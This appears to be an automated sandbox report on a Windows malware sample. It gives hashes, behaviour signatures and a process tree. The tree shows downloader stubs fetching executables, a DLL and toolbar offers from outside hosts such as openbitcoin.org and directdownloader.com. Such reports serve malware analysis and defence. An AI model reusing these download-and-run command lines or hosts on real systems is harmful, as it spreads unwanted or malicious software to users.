Analysis

  • max time kernel
    150s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    18/10/2024, 04:26

General

  • Target

    55790c0b209a0bde5300fe23acba815c_JaffaCakes118.exe

  • Size

    367KB

  • MD5

    55790c0b209a0bde5300fe23acba815c

  • SHA1

    8bb06dbd4eb73c718fb27654a0fa954f8d49bf58

  • SHA256

    8ca8d43390c8e38addca34281c83371101ae9e3629233143f5dddf5d42bf20e3

  • SHA512

    3d33c877f77476d3b2944aa9e3472fd78bc02024926c3df41525710951456efa5e62cb6ee9aee0ba708096885fff4dad5fd12285f1989a3ef3a1ec6e62722efc

  • SSDEEP

    6144:okNRExR6FliATxvv8+Pr7fpl6t3i/6bkNQI3XhMsGQ7p6vjKV2Ex7:oWRiYLHRrj23iqkOwey7Yv+px

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 64 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NSIS installer 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of WriteProcessMemory 56 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\55790c0b209a0bde5300fe23acba815c_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\55790c0b209a0bde5300fe23acba815c_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2772
    • C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\stub.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2928
    • C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\OpenCL.dll"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2824
    • C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\updater.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1868
    • C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\downloaderDDLR.exe
      C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\DirectDownloaderInstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2876
    • C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PlayVolcano79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\volcano.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2252
    • C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\pricepeep.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2832
    • C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\preinstaller.exe 0 "file download" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2692
    • C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\preinstaller.exe 4 "file download" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1540
    • C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/BitAcceleratorDDLRinstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\BitAcceleratorDDLRinstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2292
    • C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\preinstaller.exe 1 "file download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2568
    • C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\preinstaller.exe 3 "file download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2936

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\downloaderOFFER2.exe

          Filesize

          58KB

          MD5

          c7f6ed56312c8fbb58ae6ed445c38df4

          SHA1

          e2dba94ef052db774478b9f7198c1a2298b334e5

          SHA256

          fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

          SHA512

          ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

        • \Users\Admin\AppData\Local\Temp\67a5093466d5e961b9afa00c5599263b\preinstaller.exe

          Filesize

          241KB

          MD5

          9d8fe8bcc4c493b2fd1da8d2b07ba57c

          SHA1

          aa9366eb9210c8a5398b5e55921c92ce8970df5b

          SHA256

          f33b7419880c7c90c999970e4c21febaaf6d39fdb02f9d9deafa8f8d97f3b3eb

          SHA512

          3fd58a0d7c870e8b07eb17f8f088d505ad98c7101733972f486a2946d18babfe0e4866ae28a16fe2481e006c26cbdf2d3eb1a2dd71bb44c084bbf14fea475216

        • \Users\Admin\AppData\Local\Temp\nsj6E00.tmp\NSISdl.dll

          Filesize

          14KB

          MD5

          a5f8399a743ab7f9c88c645c35b1ebb5

          SHA1

          168f3c158913b0367bf79fa413357fbe97018191

          SHA256

          dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

          SHA512

          824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

        • \Users\Admin\AppData\Local\Temp\nsjB379.tmp\Processes.dll

          Filesize

          35KB

          MD5

          2cfba79d485cf441c646dd40d82490fc

          SHA1

          83e51ac1115a50986ed456bd18729653018b9619

          SHA256

          86b302fa9c85dfa0c1c03ba000864a928365dab571f3355347dba02da22949b7

          SHA512

          cca186a7f9c5cff3f4eca410fbe8cc13dad2514a7e36aec9b1addfbcb239ace9b9b2d8427771858e3fd11783abce7e24d43c286f98da9f8b17562ca095a4c043

        • memory/1540-73-0x0000000000400000-0x0000000000446000-memory.dmp

          Filesize

          280KB

        • memory/2568-85-0x0000000000400000-0x0000000000446000-memory.dmp

          Filesize

          280KB

        • memory/2692-67-0x0000000000400000-0x0000000000446000-memory.dmp

          Filesize

          280KB

        • memory/2772-72-0x0000000000400000-0x0000000000447000-memory.dmp

          Filesize

          284KB

        • memory/2772-143-0x0000000000400000-0x0000000000447000-memory.dmp

          Filesize

          284KB

        • memory/2772-740-0x0000000000400000-0x0000000000447000-memory.dmp

          Filesize

          284KB

        • memory/2936-412-0x0000000000400000-0x0000000000446000-memory.dmp

          Filesize

          280KB

        • memory/2936-711-0x0000000000400000-0x0000000000446000-memory.dmp

          Filesize

          280KB

        • memory/2936-1249-0x0000000000400000-0x0000000000446000-memory.dmp

          Filesize

          280KB

        • memory/2936-2113-0x0000000000400000-0x0000000000446000-memory.dmp

          Filesize

          280KB

        • memory/2936-3535-0x0000000000400000-0x0000000000446000-memory.dmp

          Filesize

          280KB